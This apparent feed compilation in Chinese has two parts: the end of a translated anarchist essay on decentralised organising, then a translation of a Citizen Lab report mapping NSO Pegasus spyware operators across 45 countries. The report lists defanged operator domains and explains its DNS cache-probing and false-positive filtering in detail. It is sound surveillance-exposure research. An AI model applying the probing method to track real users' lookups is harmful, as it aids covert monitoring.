同样，这也不是赞成单纯的个人主义，也不是赞成把关系视为可消耗的，也不是赞成只与那些与自己有相同偏好的人组织起来。在一个拥挤的、相互依存的世界里，我们不能拒绝与他人共存或协调。问题的关键只是，我们不能寻求立法关系。

📌 与其听从蓝图或协议，我们可以不断地评估制度。它们是在奖励合作还是在奖励竞争？它们是分配代理权还是制造权力瓶颈？它们是否为每个参与者提供了按自己的条件发挥潜力的机会？还是强加了外部的要求？它们是在双方同意的条件下促进冲突的解决，还是惩罚所有违反成文制度的人？

创造相遇空间

「图」

为了取代正式的集中决策场所，我们提出了各种接触空间，在这些空间里，人们可以向彼此的影响开放，并找到与他们有共同优先事项的其他人。相遇意味着相互转化：建立共同的参照点、共同的关注。

邂逅空间不是一个被赋予权力为他人做决定的代表机构，也不是一个采用多数规则或共识的管理机构。它是一个机会，让人们在自愿的基础上尝试以不同的形式行事。

在2001年魁北克市反对美洲自由贸易区首脑会议的示威游行之前，紧接着举行的发言人会议就是一个典型的相遇空间。这次会议汇集了来自世界各地的各种自治团体，它们聚集在一起，抗议自由贸易区。与会者没有试图做出具有约束力的决定，而是介绍了各自团体准备的倡议，并尽可能地协调互利。许多决策是在随后的非正式小组间讨论中进行的。

通过这种方式，数以千计的人能够在不需要中央领导的情况下协调他们的行动，也不需要让警方对即将展开的一系列计划有太多的了解。如果邂逅空间采用了一种旨在产生统一和集中的组织模式，参与者可能会花上一整夜的时间，毫无结果地争论目标、策略以及允许采取哪种战术。

过去20年的大部分社会运动都是混合模式，将相遇空间与某种形式的民主并列。例如，在“占领”运动中，营地作为开放性的相遇空间，而大会的正式目的是作为直接的民主决策机构。这些运动大多取得了最大的效果，因为它们所促进的相遇为自主行动提供了机会。如果我们把相遇作为这些运动的推动力，而不是作为通过民主程序来塑造的原材料，那么它可能会帮助我们优先考虑我们最擅长的事。

无政府主义者因与民主语话的矛盾而受挫，有时会退缩，仅根据已有的亲和力来组织自己。然而隔离会滋生停滞和分裂。最好的办法是根据我们的条件和需要来组织，这样我们就能与所有其他有相同条件和需要的人接触。只有当我们把自己理解为动态集体中的节点，而不是拥有静态利益的离散实体时，我们才能理解人们在“占领运动”等经历中所经历的快速蜕变 —— 如果我们敞开心扉，这种相遇就有巨大的力量来改变我们。

培养集体性，保持差异性

「图」

如果没有任何机构、合同或法律能够支配我们的决定，那么我们如何商定我们对彼此的责任？

有人建议区分“封闭式”团体和“开放式”团体，前者的参与者同意为自己的行为向对方负责，后者则不需要达成共识。但这就引出了一个问题：我们如何在两者之间划出一条线？如果在一个封闭的群体中，我们只对我们的同伴负责，直到我们选择离开这个群体，而且我们可以在任何时候离开，这与参加一个开放的群体就没有什么区别了。同时，无论我们是否喜欢，我们都参与了一个封闭的群体，共享一个不可逃避的空间：地球。因此，这不是一个区分我们必须对彼此负责的空间和我们可以自由行动的空间的问题。问题是：如何在每一个范围内促进责任和自主。

为此，我们着手在社会的每一个层次上创造相互满足的集体 —— 人们相互认同并有理由为对方做正确的事的空间。这些集体可以采取多种形式，从住房合作社、邻里大会到国际网络。

同时，我们认识到，我们必须根据亲密关系和相互依存对参与者的益处程度，不断地对它们进行重新配置。当一种配置必须改变时，这不一定是失败的标志：相反，这表明参与者没有争夺霸权。与其将团体决策视为追求一致，我们不如将其视为一个空间，在不同的社会构架汇聚和分化时，分歧会产生，冲突会发生，转变会发生。只要有正确

的理由，分歧和离间与达成一致同样可取；组织人数较多的优势应该足以阻止人们无端地分裂。

我们的机构应该帮助我们消除分歧，而不是压制或淹没它们。从罗贾瓦回来的一些观察家报告说，当那里的集会无法达成共识时，它就会分裂成两个机构，在它们之间分配资源。如果这是真的，它提供了一种自愿联合的模式，是对 Procrustean 民主统一的巨大改进。

解决冲突

「图」

有时，分而治之不足以解决冲突。为了摒弃集中化的强制力，我们必须想出解决纷争的新方法。反对国家的人之间的冲突，是维护国家优越性的主要法宝之一。如果我们想创造自由的空间，我们就不能变得如此分裂，以至于我们无法捍卫这些空间；我们也不能以制造新的权力不平衡的方式来解决冲突。

民主最基本的功能之一，就是提供一种解决争端的方式。投票、法院和警察都是为了决定冲突，但不一定能解决冲突；法治实际上强加了一种赢家通吃的模式来解决分歧。通过集中权力，一个强大的国家能够迫使争斗各方即使在相互不能接受的条件下也暂停敌对行动。这使它能够压制干扰其集中化控制的纷争形式，如阶级战争，同时助长破坏横向性和自主抵抗的冲突形式，如帮派战争。如果不考虑到国家结构挑起和加剧暴力的方式，我们就无法理解我们这个时代的宗教和种族暴力。

当我们赋予机构固有的合法性时，这就为我们提供了一个不解决冲突的借口，而是依靠国家的干预。它给了我们一个不在场的借口，以武力解决争端，并将那些在结构上处于弱势的人排除在外。我们不是主动直接解决问题，而是最终争夺权力。

如果我们不承认国家的权威，就没有这样的借口："我们必须找到双方都满意的解决办法，否则就要承受持续纷争的后果"。这让我们有动力去认真对待各方的需求和看法，去发展化解紧张局势的技能。不一定要让所有人都同意，但我们必须找到不产生等级、不产生压迫、不产生无谓对立的分歧方式。这条路上的第一步是消除国家提供的不解决冲突的激励机制。

不幸的是，许多曾经服务于人类社会的冲突解决模式现在已经被人们遗忘了，被古雅典和罗马的法庭系统强行取代了。我们可以从变革性

司法的实验模式中看到我们必须发展的替代办法。

上图中这两本书在这里下载：https://www.patreon.com/posts/tao-bi-tong-zhi-41662369

拒绝被统治

「图」

在设想一个横向的和分权的社会可能是什么样子时，我们可以想象重叠的集体和集会网络，人们在其中组织起来，以满足他们的日常需要 —— 食物、住房、医疗、工作、娱乐、讨论、友谊。由于相互依存，他们会有充分的理由友好地解决争端，但谁也不能强迫其他人留在一个不健康或不满足的安排中。为了应对威胁，他们会借助与世界各地其他社区的联系，以更大的临时形式动员起来。

事实上，在人类历史进程中，很多无国家社会都是这样的模样。今天，这样的模式继续出现在土著社区、女权主义和无政府主义传统的交汇处。

这让我们回到了我们的起点 —— 现代希腊雅典。在这个民主最早诞生的城市，成千上万的人现在在无政府主义的旗帜下组织起来，形成横向的、分散化的网络。他们的结构取代了古代雅典公民身份的排他性，而是广泛而开放的；他们欢迎逃离叙利亚战争的移民，因为他们知道他们的自由实验必须成长或消亡。

为了取代政府的强制机器，他们寻求维持权力的分散化分配，并通过对团结的集体承诺来加强。他们不是联合起来强加多数人的统治，而是合作以防止统治本身的可能性。

这不是一种过时的生活方式，而是一个长期错误的结束。无政府主义者聚集在21世纪的雅典

从民主到自由

「图」

让我们回到起义的高潮。成千上万的人涌上街头，以新的形式找到彼此，提供了一种陌生但令人振奋的机构感。突然间，一切都交织在一起：言语和行动，思想和感觉，个人故事和世界事件。确定性 —— 我们终于感觉到了家的感觉 —— 和不确定性：终于有了一个开放的

地平线。我们一起发现自己有能力做我们从未想象过的事。

这种时刻的美丽之处超越了任何政治制度。冲突与意外共识的闪现一样重要。这不是民主的运作，而是自由的体验—— 集体将命运掌握在自己手中。没有任何一套程序可以将其制度化。这是我们必须一次又一次从习惯和历史的钳口中挣脱出来的奖赏。

下一次机会之窗打开时，与其再次重塑“真正的民主”，不如让我们的目标成为自由，自由本身。〇

FROM DEMOCRACY TO FREEDOM

原文

LR 以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港

以色列和NSO-间谍产业的领主长读

【2018年10月17日存档】以色列的“网络战”供应商 NSO 集团生产并销售一种名为 Pegasus 的手机间谍软件套件，用于监控的目的，Pegasus 的政府运营商通过说服目标点击特制的漏洞利用链接，提供一系列 #零日攻击，以渗透手机上的安全功能，并在用户不知情的情况下安装 Pegasus 间谍软件。⚠目前这种间谍软件被多个攻击组织广泛用于全球 45 个国家的网络入侵活动中。这里是公民实验室

CitizenLab 的主要发现

在 2016 年8月至 2018 年8月期间，我们根据匹配模式，对全球曝网的 Pegasus 相关服务器进行了识别扫描，之后，我们发现了1091个 IP 地址与我们的设定指纹匹配，而且存在1014个域名与这些 IP 地址关联指向。在新型工具 Athena 的帮助下，我们把匹配出来的所有 Pegasus 控制端分类成了 36 种不同的控制系统，每一种控制系统对应的幕后操控者则是不同的黑客组织或攻击者。

结合 1014 个相关指向域名，经 DNS 缓存探测（DNS Cache Probing）分析，我们识别出了 Pegasus 在45个国家的活动痕迹，其中至少有10个攻击组织在进行着活跃的跨境入侵监控行为。

我们的调查侧面反映了，**NSO** 业务全球扩散背景下的凄凉人权情况。分析显示，在这些涉及监控活动的国家中，至少有6个国家此前曾涉及滥用间谍软件监控民间社会团体，这些国家包括巴林、哈萨克斯坦、墨西哥、摩洛哥、沙特阿拉伯和阿拉伯联合酋长国。

⚠ **Pegasus** 可能也被那些人权记录可疑，和以国家安全为由存在虐

待行为记录的国家使用，此外，我们在几个国家的网络监控目标中，发现了一些涉及政治主题的迹象，因此，这种间谍监控技术是否被用在合法的刑事调查活动，非常值得怀疑。*Figure 1: Scope, scale, and context of Pegasus as identified in this report.*

背景概要

Pegasus 是由以色列“网络武器”供应商 NSO 公司研发售卖的一款手机间谍软件，为了实现目标监控，攻击者首先会构造一个包含漏洞利用的特制链接发送到目标人物手机中，一旦目标人物点击该链接，就会实现一系列的 0-day 攻击，在隐蔽和无权限需要的情况下安装恶意软件，最终攻击者就能控制该手机。

之后，攻击者可以通过命令和 **C2** 服务器远程操控受害者手机，进行敏感信息窃取，回传包括密码、联系人列表、日历事件、短信和流行聊天 **APP** 的语音呼叫等信息，攻击者甚至还能远程受害者手机摄像头和麦克风来捕捉手机附近的活动行为。*Figure 2: Diagram from purported NSO Group Pegasus documentation showing the range of information gathered from a device infected with Pegasus. Source: Hacking Team Emails.*

用链接和 C2 服务器使用了 HTTPS 方式，这样就需要攻击者进行域名注册和维护。为了增加隐蔽性，攻击者注册的域名名称有时伪装成了移动运营商、在线服务、银行或政府服务机构。一个攻击者名下可能注册有多个域名，用于漏洞利用链接的发送和 C2 服务器的使用。

大多数情况下，Pegasus 涉及的相关域名最终会解析指向 NSO 或攻击者租用的云端虚拟服务器，也就是通常所说的前端服务器，之后，这些前端服务器会经过多个中转节点把流量或数据转发到攻击者实际操控的后端服务器中。

早在 2016 年8月，阿联酋异见者 Ahmed Mansoor 就遭到了 NSO 间谍软件 Pegasus 的入侵攻击，点击收到的短信接后，攻击者利用了3个 0-day 漏洞，对 Mansoor 手机“远程越狱”，并安装了持久化间谍软件，由此，我们对该攻击展开了调查。

通过指纹模式匹配，我们摸清了 Pegasus 的漏洞利用链接和C2服务器行为特征，并对全网匹配的前端服务器进行了扫描识别，最终发现了237个前端服务器，但就在我们发布报告的前几天，NSO 就突然下线了所有前端服务器。我们发布报告后，Pegasus 的一小撮前端服务器又悄悄上线了，但是，此时这些前端服务器的指纹模式已经与之前完

全不同。我们2016年的这次分析报告也是首次揭露 Pegasus 的报告，之后，我们就根据 Pegasus 的新活动特征重新校正指纹模式，进行着定期的全网扫描识别。

当前发现

在 2016 年8月至 2018 年8月的时间段之间，我们探测到了与 Pegasus 相关的一共1091个 IP 地址和 1014 个域名，并根据相关特征，分类成了 36 种不同的控制系统。在这 36 种不同的控制系统中，我们发现，其中有 33 种控制系统出现在了 45 个国家的入侵攻击活动中，这些国家包括：

> 阿尔及利亚、巴林、孟加拉国、巴西、加拿大、科特迪瓦、埃及、法国、希腊、印度、伊拉克、以色列、约旦、哈萨克斯坦、肯尼亚、科威特、吉尔吉斯斯坦、拉脱维亚、黎巴嫩、利比亚、墨西哥、摩洛哥、荷兰、阿曼、巴基斯坦、巴勒斯坦、波兰、卡塔尔、卢旺达、沙特阿拉伯、新加坡、南非、瑞士、塔吉克斯坦、泰国、多哥、突尼斯、土耳其、阿联酋、乌干达、联合王国、美国、乌兹别克斯坦、也门和赞比亚。

我们根据国家级的 DNS 服务器来作出地理位置判断，如果其中涉及 VPN 和卫星传输网络，则结果可能会存在一定误差。以下是 Pegasus 攻击活动涉及的国家地区：*Figure 3: Global map of suspected NSO Pegasus infections.*

墨西哥

2017 年，经回顾性分析，我们发现数十名墨西哥律师、记者、人权维护者、反对派政治家、反腐败倡导者，以及一家驻墨的国际调查机构都遭到了 **Pegasus** 间谍软件的入侵。经我们的披露，墨西哥揭发了一场名为 #GobiernoEspía 的政治丑闻，并导致了持续的刑事调查，截至本报告发表之日，调查仍在继续中。据监测发现，在此前我们对墨西哥境内 Pegasus 的滥用披露之后，现在为止，仍然还活跃着三个不同的 Pegasus 攻击组织。

海湾合作委员会（海合会）国家

我们发现，在中东的海合会国家中，Pegasus 间谍软件的使用出现了显著的增长态势，总的来说，我们确定了在该地区海合会国家活动的

至少六个攻击组织，其中两个主要以阿联酋为目标，一个主要以巴林为目标，另一个则针对沙特。还有三个攻击组织除了海合会国家任务之外，还对中东北非以外地区实施入侵监控，这些地区国家包括加拿大、法国、希腊、英国和美国。

海合会国家一向以滥用监控工具跟踪不同政见者而闻名，就像 2016 年阿联酋活动家 Ahmed Mansoor 的手机遭受 Pegasus 入侵一样，此前，他就曾被攻击者用 FinFisher 和 Hacking Team 公司的间谍软件攻击过；巴林也曾在2010年至2012年间利用 FinFisher 的间谍软件网络入侵记者、律师、反对派政治家和民主积极分子；2018年5月和6月，大赦国际（ Amnesty International ）报告声称，其一名驻沙特的员工受到间谍软件 Pegasus 的网络入侵。

其他国家的情况

我们确定了五个非常关注非洲地区的攻击组织，其中一个攻击组织似乎主要关注西非国家多哥，该国是以色列的坚定盟友，其长期执政的总统对反对派使用过酷刑和武力。这个针对多哥的攻击组织使用了带有“新总统”（**nouveau president**）和“政治信息”（**politiques infos**）词汇的网站，来传播感染 **Pegasus** 间谍软件。有一个针对摩洛哥的攻击组织，也对包括阿尔及利亚、法国和突尼斯等国存在入侵任务。另外，我们还发现了几个涉及以色列的攻击组织，其中四个组织在以国内发起入侵，一个在以境外的荷兰、巴勒斯坦、卡塔尔、土耳其和美国发起入侵。

识别 **Pegasus** 开展网络攻击的基础设施架构

本节中我们着重描述，如何从 2016 年首发 Pegasus 开始到现在，跟踪识别 Pegasus 开展网络攻击的基础设施架构。

2016 年8月，针对阿联酋活动家 Ahmed Mansoor 的手机入侵行为，我们联合 LookOut 实验室，全球首次揭开了 Pegasus 的真面目，攻击者利用苹果 **Apple iOS 9.3.3** 的三个 **0-day** 漏洞，实现 **iPhone** 手机的隐蔽入侵控制。之后，我们向苹果公司披露了漏洞，苹果公司及时把更新加入到 iOS9.3.5 的升级包中，暂时堵塞了 Pegasus 传播感染的路径。在我们的技术报告发布前几天，根据我们的网络扫描识别，发现除了C2服务器之外，所有我们前期探测到的 Pegasus 前端服务器都被无故下线了。

2016-新的指纹模式：诱饵页面

之后，我们试图再继续发现 Pegasus 新利用的网络基础架构，于是，我们全网探测了 Pegasus 服务端响应的诱饵页面样式 /redirect.aspx 和 /Support.aspx。由于诱饵页面的显示功能只存在于间谍软件的服务端代码中，因此，我们很容易创建诱饵页面的相关指纹匹配模式，利用这些指纹模式，对全网进行识别探测，就能发现Pegasus相关的其他攻击组织在操控掌握的后端控制系统。

2017至2018- 诱饵页面消失

在我们发现 Pegasus 诱饵页面之后，NSO 公司又逐渐移除了诱饵页面相关的/redirect.aspx 和 /Support.aspx样式，并进一步修改了服务端代码，关闭了除有效漏洞利用链接和特殊路径之外的请求连接数据响应通道，这种变化与其它间谍软件公司的 FinFisher 和 Hacking Team 步伐一致。

接着，在研究了几个可疑的新 Pegasus 服务器行为后，我们开发了三个不同的 Pegasus 行为指纹e1、e2和e3，以及一个新型分类工具 Athena。指纹e1是传输层安全（Transport Layer Security）指纹，指纹e2和e3则代表我们观察到的两种不同的代理配置模式。如果恶意软件或木马与 e1、e2和e3 中的一个匹配，我们可以认为它归属于 NSO 间谍软件的网络架构。之后，我们使用工具 Athena 将这些识别指纹分类成了不同的36种模式，我们认为每一种模式对应的就是一个 Pegasus 软件的攻击组织。为了避免其它不必要的安全因素，我们在此暂不公开这些具体的指纹和识别技术。

Pegasus 重生

我们当时在2016年8月的披露报告，NSO 公司显然向相关客户方作了通报，从以下流量扫描探测图中可以发现，那貌似还对他们的运转造成了大约半小时的中断：*Figure 4: Pegasus servers available over time*

在我们 2016 年8月24日发布针对 Pegasus 第二版本的 Million Dollar Dissident 报告之前，有12台后端服务器无故下线，直到2016年9月25日才重新上线，之后一直持续到了2017年8月10日。之后，我们在 2017 年9月5日的全网扫描中发现了第一台 Pegasus 第三版服务器，这是在我们发布 Million Dollar Dissident 报告之后的将近一个月，此时，全网有7个不同的网络攻击组织，过了一个月，又增加到了14个不同的网络攻击组织。

基于 **DNS** 缓存探测分析的攻击组织分类

我们使用自研工具 Athena 对 Pegasus 活动相关的IP地址和域名进行分类，最终我们划分出了**36**个不同攻击组织，每一个攻击组织都使用了多组 IP 地址。根据每个攻击组织活跃的地域范围，我们按照国家特征和地理特点分别给每个攻击组织进行了命名。针对各攻击组织使用的IP地址信息，我们从其使用的 TLS 证书中提取了相应的域名，并对这些域名进行编码分析，找出其可疑的重点关注国家，并评估其涉及的政治主题和政治动机。之后，我们通过 DNS 缓存探测，生成了可能与攻击组织相关的 Pegasus 感染国家列表。

以美洲地区为目标的入侵攻击组织

经验证，我们发现了五至六个以对美洲地区为目标的入侵攻击组织。其中一个名为 MACAW 的攻击组织主要以洪都拉斯及其邻国为目标，其使用的两个域名 politica504[.]com 和 eltiempo-news[.]com 都与洪都拉斯相关。

2017 年6月，我们曾在《Reckless Exploit 》的报告中披露过针对墨西哥的 Pegasus 活动情况，其中存在四个攻击组织使用的域名与墨西哥有明显关联，它们是 RECKLESS-1、RECKLESS-2、PRICKLYPEAR 和 AGUILAREAL。RECKLESS-1和 RECKLESS-2 使用了一些包含政治主题域名，如universopolitico[.]net 、 animal-politico[.]com、noticiaspoliticos[.]com 和 politicoportales[.]org。

在我们发布报告后， RECKLESS-1和 RECKLESS-2 迅速下线了它们的服务器， PRICKLYPEAR 和 AGUILAREAL下线了其中几个服务器。一个月之后，注册了新域名的 MAYBERECKLESS 攻击组织出现，它可能是 RECKLESS-1和 RECKLESS-2 演变组织。到了2017年9月，PRICKLYPEAR 和 AGUILAREAL 又增加了一些新的上线服务器。

下列列表中的元素属性：Operator name（攻击组织）、Dates operator was active（活跃时间段）、Suspected country focus（重点关注国家）、Political themes?（是否与政治主题相关）、Suspected infections（其它可疑的攻击感染国家）

以非洲地区为目标的入侵攻击组织

我们发现了五个以非洲地区为目标的入侵攻击组织，其中一个命名为 REDLIONS 的组织使用了几乎全是法语的前端域名网站，其使用的域名为 politiques-infos[.]info 和 nouveau-president[.]com。另外一个名为 AK47 的攻击组织在 2017 年7月突然下线消失，而继续活跃中的 ATLAS 、 GRANDLACS 和 GRANDLACS同样也使用了政治主题相

关的域名，如 revolution-news[.]co 和 politicalpress[.]org。

以欧洲地区为目标的入侵攻击组织

我们发现了五个以欧洲地区为目标的入侵攻击组织，名为 TURUL 和 CHEQUY 攻击组织使用的前端域名与匈牙利和克罗地亚相关，但我们还暂未发现任何这些攻击组织相关的 DNS 缓存探测匹配线索，目前这些组织的入侵攻击活动仍然处于活跃状态。

以中东地区为目标的入侵攻击组织

我们发现了12个以中东地区为目标的入侵攻击组织，其中 PEARL 主要以巴林为目标，KINGDOM 则对大赦国际（ Amnesty）和沙特阿拉伯的工作人员开展过攻击，PEARL 和 FALCON 则使用了一些与政治主题相关的域名，如 shia-voice[.]com、14-tracking[.]com 和 nomorewarnow[.]com。

以亚洲地区为目标的入侵攻击组织

我们发现了五个以亚洲地区为目标的入侵攻击组织，其中一个名为 GANGES 的攻击组织使用了一个与政治主题相关的域名 signpetition[.]co。另外，⚠我们未对中国大陆地区进行 **DNS** 缓存探测识别，所以这里的结果中不包含任何与中国相关的 **Pegasus** 线索。

高度定制的运营商（重心不明）

我们发现三家运营商的重心不明确，他们都在运营中使用了一定程度的定制。

运营商 SUPERSIZE（活跃于 2016年9月 -至今）是迄今为止域名数量最大的 Pegasus 部署；我们发现有 118 个域名属于 SUPERSIZE。我们在以色列和巴林发现了有趣的 DNS 缓存命中率，但没有足够的信息来确定这些是否可能是疑似感染。可能的情况是，SUPERSIZE 使用相对较少的基础设施监控相对较少的人，或者某些 SUPERSIZE 的目标可能处于可以通过 DNS 缓存探测测量的区域之外，或者 SUPERSIZE 以特别隐蔽的方式运行，在零星而非连续的监视下进行。

运营商 SNEAK（2016年10月—至今活跃）的基础设施反映了高度的定制，包括在非标准端口上运行C&C服务器，以及利用动态DNS服务。SNEAK 是在我们的 Million Dollar Dissident 报告之后重新使用其旧基础设施的运营商，促进了我们对 NSO 集团基础设施的持续可见性。在叙利亚，黎巴嫩，卡塔尔，荷兰和美国的这个系统上发现了

有趣的 DNS 缓存命中，但没有足够的信息来确定这些是否可能是疑似感染。

运营商 PARTY（2017–5-至今活跃）使用具有极长 TTL 的域名。我们在叙利亚和黎巴嫩的这个系统上发现了有趣的 DNS 缓存命中，但没有足够的信息来确定这些是否可能是疑似感染。

4. DNS 缓存探测技术

DNS 及缓存探测的背景知识

当用户（或计算机程序）指示计算机或移动设备与域名通信（例如，www.citizenlab.ca）时，设备首先向域名服务器（DNS）发送请求，以便获取域名对应的IP地址。默认情况下，设备与所连接的ISP或电信公司的 DNS 服务器通信。

DNS 服务器临时缓存IP地址和域名之间的映射，通常持续时间由域名所有者指定（例如，300秒）。当设备查找不在服务器缓存中的域名时，服务器会联系其他 DNS 服务器以“递归”解析域名，然后将该记录存储在缓存中。当设备查找已在服务器缓存中的域名时，服务器将从缓存中返回记录以及生存时间（TTL），该值指示服务器中的记录何时到期。如果服务器返回的 TTL 值小于域名所有者设置的值，那么 DNS 服务器返回的记录存在于缓存中，因此被其他一些 ISP 用户查询。

还可以将查询发送到DNS服务器，并将 Recursion Desired 标志设置为 0（称为非递归查询），向服务器指示它应该只在响应之前查询其缓存;如果记录不在缓存中，则服务器不应联系其他服务器以尝试解析域名，并且不应向其缓存添加任何内容。某些 DNS 服务器可能会选择忽略此标志。

为了观察不完整的 TTL，向 DNS 服务器发送查询（无论是非递归的还是递归的）是一种称为 DNS 缓存探测或 DNS 缓存侦听的技术。2004 年 DNS 缓存探测的原始演示文稿的作者认为它对安全性和隐私有害，并建议DNS服务器的运营商（如 ISP）应阻止并非源自自己网络的 DNS 查询。实施这样的预防措施会使单个观察者更难直接探测 DNS 服务器的缓存。 2006 年对僵尸网络 C&C 服务器的调查采用 DNS缓存探测;在这种情况下，作者已经探测过对某些域名具有权威的 DNS 服务器，而不是 DNS 转发器。

即使在 **ISP** 阻止来自非 **IS P**用户的 **DNS** 服务器请求的情况下，有时

也可以通过 **ISP** 网络上的开放 **DNS** 转发器来探测 **DNS** 服务器的缓存。开放式 DNS 转发器是一种接受来自任何 Internet 用户的查询的服务，并且可以将未被调用的查询转发给ISP服务器，然后 ISP 服务器响应转发器，转发器又响应用户。从 ISP 的 DNS 服务器的角度来看，查询的提交者（转发器）在ISP的网络上。开放式 DNS 转发器可能在未正确配置的路由器或 IoT 设备上运行。

注意**: DNS** 缓存探测中的规范

为了与网络测量研究中越来越重视道德规范保持一致，我们考虑了我们的技术活动对非研究目标的影响，并寻求最小化任何中断的可能性。值得注意的是，我们检查了用户成本，服务中断或其ISP发出的意外警告的可能性。我们认为，这项研究的开展方式可以减轻这些风险，并符合公众利益。

首先，我们考虑了用户可能因 DNS 缓存探测而导致成本或服务中断的可能性。鉴于活动期间提出的请求数量很少，我们认为这是一个非常不可能的结果。部署后，该技术每个 IP 地址每秒产生的请求少于一个，因此每秒小于1千字节。所以，总流量每天小于100兆字节。为了进一步减少探测域名的权威名称服务器上的负载，我们仅使用非递归查询。因此，我们预测不会导致用户产生成本或带宽下降。

我们确定，由于我们的 DNS 缓存探测，用户不太可能收到来自其 ISP 或其他机构的不受欢迎的查询。当然，开放式 DNS 转发器是主要的 Internet 安全风险，因为它们可能用于 DNS 放大 DDoS 攻击。这种大规模攻击可能会引起 ISP 或其他机构的注意，并触发 ISP 的查询或制裁。相比之下，DNS 缓存探测是一种非常低容量的活动。如果一个开放的 DNS 运营商尚未收到其ISP的联系人，我们认为这种技术不太可能触发联系人，因为它看起来不像“类似攻击”。

在撰写本文时，我们并未发现恶意实际攻击中使用 DNS 缓存探测的任何证据。随着 **DNS** 缓存探测技术不断发展成为一种研究工具，确保以不会出现隐私和安全问题的方式继续使用它将非常重要。

寻找合适的 **DNS** 转发器

我们首先开发一个合适的 DNS 转发器列表。我们运行三个测试来回答以下问题：

1. 转发器使用尊循非递归查询的解析器吗？我们为控制的域名的随机子域发送非递归查询，并检查是否得到响应。随机子域名解析为IP但

不应位于任何缓存中。我们检查每个 IP 两次;如果我们得到正确的答案，那么 IP 不会遵循非递归查询。

2. 转发器使用哪个解析器？我们为控制的域运行自定义名称服务器;名称服务器返回传入 DNS 查询的源 IP 作为响应中的答案之一。我们使用针对控制的域的随机子域的递归查询来查询每个 IP 10次，并收集我们的名称服务器返回的 IP 集合。

3. 转发器是否可以访问感兴趣的缓存？我们使用google.com的递归查询连续查询每个 IP 10次。如果 IP 在 Google 自治系统（AS # 15169）中至少返回一次带有 IP 的响应，则转发器可以访问感兴趣的缓存。

DNS 转发器适用于以下情况：

- 它尊循非递归查询。
- 转发器只在单个自治系统（AS）中转发对解析器的请求。我们排除在多个AS中使用解析器的转发器，因为当这样的转发器显示DNS缓存命中时，我们不知道DNS缓存实际发生在哪个AS中。
- 转发器解析器的（单个）AS 由 CAIDA 的 AS 分类数据集指定为“Transit / Access”。这有助于避免一些云提供商和共享 DNS 提供商，如 Google，OpenDNS，Yandex，CloudFlare 等。
- 转发器的解析器的 AS 不等于我们找到 NSO Group 服务器匹配的任何 AS。
- 转发器本身不是解析者;换句话说，转发器 IP 不会出现在解析器中。
- 转发器有权访问感兴趣的缓存。

每次我们扫描时，我们的清单包括约 **38,000** 个合适的转发器，不包括中国的转发器。

了解 **DNS** 缓存探测误报

DNS 缓存探测可能产生误报，即 DNS 缓存探测技术报告该域名在缓存中，当它实际上不在缓存中时，或者当我们使其在缓存中时。这会发生在以下三种情况：

1. DNS 转发器不会始终遵循非递归查询;它可以将一些查询子集转发给不支持非递归查询的解析器。这可能导致我们的查询将域名添加到缓存。

2. DNS 转发器可能会返回我们在（1）中添加到缓存中的条目。即使对于在100%的时间都遵守非递归查询的DNS转发器，也会发生这种情况。

3.自动化流程或好奇的研究人员可能会观察我们的 DNS 缓存探测并发送我们正在探测的域名的 DNS 查询;这可能会将域名添加到我们正在探测的缓存中。

我们进行了几项对比实验，以确定如何更好的排除误报。在我们的对比实验中，我们选择了50个具有通配符记录和至少 300 秒 TTL 的域名，然后生成一个随机字符串用作子域，并在所有解析器上连续查询所有50个域名（带子域）大约每300秒按固定顺序排列，确保每300秒至少查询一次每个域名。我们进行了24小时的实验。

我们在对照实验中收到的任何结果都被视为误报。我们开发了一套启发式方法，在这些实验中将误报率降低到0，并认为这些相同的启发式方法可以帮助我们从间谍软件域名的DNS缓存探测研究中消除许多误报。这些是我们用于消除结果误报的条件：

1. 排除同一查询的重复观测值：对于每个 DNS 服务器响应，我们检查观测值是否重复。具体来说，如果给定域名的响应在n秒前针对同一域名的响应（来自任何DNS转发器）之前，并且先前响应的TTL与当前响应相差n（±2），那么我们排除了目前的响应。

2. 即使时钟以不正确的速率运行，也要排除可能的重复观测值：对于每个 ASN，如果其 TTL 小于或等于任何 DNS 转发器为同一 ASN 返回的该域名的前一记录，排除记录（或IP）。我们实现了这个条件，因为对于某些 ASN，我们确定了单调非递减的 TTL 序列（对于具有大TTL的域名），这些序列与以不正确速率运行的时钟相对应，并且怀疑这些可能是误报。

3. 使用不正确的 TTL 排除任何观察结果：我们排除TTL大于域名 DNS 服务器设置的 TTL 的所有观察结果，2个 TTL 内的所有观察结果，以及用流行的固定 TTL 值（0,1,9,10,11,30,60,80,100,300,1000,10000）进行的所有观察。

4. 排除来自 DNS 转发器的所有响应，这些响应会返回错误答案：如果 DNS 转发器在响应中返回了错误的IP地址，我们也会排除所有响应。

5. 排除来自托管域名同一国家/地区的缓存的所有响应：对于给定的

域名，我们排除了来自托管域名的同一国家/地区的 ASN 的 DNS 转发器的所有 DNS 缓存响应。例如，如果域名指向意大利的IP地址，我们会将意大利的所有 DNS 缓存命中率排除在该域名之外，作为潜在的误报。

6. 排除不常见的响应：除非给定 ASN 中的解析器返回至少四个未被排除的特定域名的响应，否则我们会从 ASN 中排除该域名的响应。

我们排除结果的条件非常宽松，可能导致漏报。请注意，当我们说我们排除了响应时，我们的意思是响应未包含在最终结果中。我们继续将被排除的响应视为排除其他响应的理由。

为什么域名在缓存中？

域名在缓存中的原因有很多（假设我们没有意外地将其放在那里）。我们只对可能由感染引起的缓存条目感兴趣。我们简要介绍了 NSO 的 Pegasus 间谍软件部署如何运作的工作模型，并得到了 NSO 集团基础设施分阶段关闭的证据支持。

我们部署 Pegasus 间谍软件的心智模型是，大多数运营商都有两台 C&C 服务器，大多数感染者都与这些服务器通联，其余的基础设施包含漏洞链接中使用的域名。在国际特赦组织和公民实验室于2018年8月1日发布有关使用 Pegasus 间谍软件的报告后，Pegasus 基础设施分阶段进行关闭。起初，大部分前端域名被关闭，而少数最终域名（通常是两个）对每个运营商保持活跃状态。我们认为这些是 C&C 服务器，并且域名保持在线状态，以便受感染的设备有机会在新的 C＆C 服务器上进行信号切换并接收指令，以便与之通信。

如果给定的运营商恰好有两个最终域名，我们假设这些是 C&C 服务器。如果运营商拥有两个以上的最终域名，我们假设大小为2的某个子集是C&C服务器。我们没有确定 DNS 缓存探测技术报告的任何运算符在最终域名的大小为2的不同子集上的命中。然后，我们过滤了对 ASN 的反应，这些反应在两个假设的 C&C 域名上都有命中，并认为这些是疑似感染。

实验

